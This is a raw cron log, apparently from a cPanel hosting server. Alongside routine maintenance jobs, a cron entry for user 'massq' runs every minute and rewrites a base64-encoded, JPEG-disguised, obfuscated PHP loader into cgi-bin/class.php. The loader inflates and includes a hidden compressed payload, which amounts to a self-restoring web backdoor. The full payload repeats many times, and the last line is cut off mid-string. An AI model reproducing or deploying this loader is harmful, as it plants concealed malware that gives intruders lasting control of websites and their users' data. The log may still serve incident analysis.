Sep  5 21:34:01 server CROND[16583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:35:01 server CROND[16964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:35:01 server CROND[16966]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 21:35:01 server CROND[16967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:35:01 server CROND[16970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:35:01 server CROND[16972]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:35:01 server CROND[16973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:35:01 server CROND[16971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 21:35:01 server CROND[16968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:35:01 server CROND[16969]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:36:01 server CROND[17797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:36:01 server CROND[17798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:36:01 server CROND[17800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:37:01 server CROND[18259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:37:01 server CROND[18260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:37:01 server CROND[18261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:38:01 server CROND[18634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:38:01 server CROND[18635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:38:01 server CROND[18636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:39:01 server CROND[19018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:39:01 server CROND[19019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:39:01 server CROND[19016]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 21:39:01 server CROND[19017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:40:01 server CROND[19402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:40:01 server CROND[19404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:40:01 server CROND[19405]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:40:01 server CROND[19408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:40:01 server CROND[19409]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:40:01 server CROND[19406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:40:01 server CROND[19407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:40:01 server CROND[19412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:41:01 server CROND[20220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:41:01 server CROND[20222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:41:01 server CROND[20221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:42:01 server CROND[20692]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 21:42:01 server CROND[20694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:42:01 server CROND[20695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:42:01 server CROND[20693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:43:01 server CROND[21079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:43:01 server CROND[21080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:43:01 server CROND[21081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:44:01 server CROND[21442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:44:01 server CROND[21443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:44:01 server CROND[21444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:45:01 server CROND[21813]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:45:01 server CROND[21814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:45:01 server CROND[21816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:45:01 server CROND[21825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:45:01 server CROND[21827]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:45:01 server CROND[21826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:45:01 server CROND[21828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5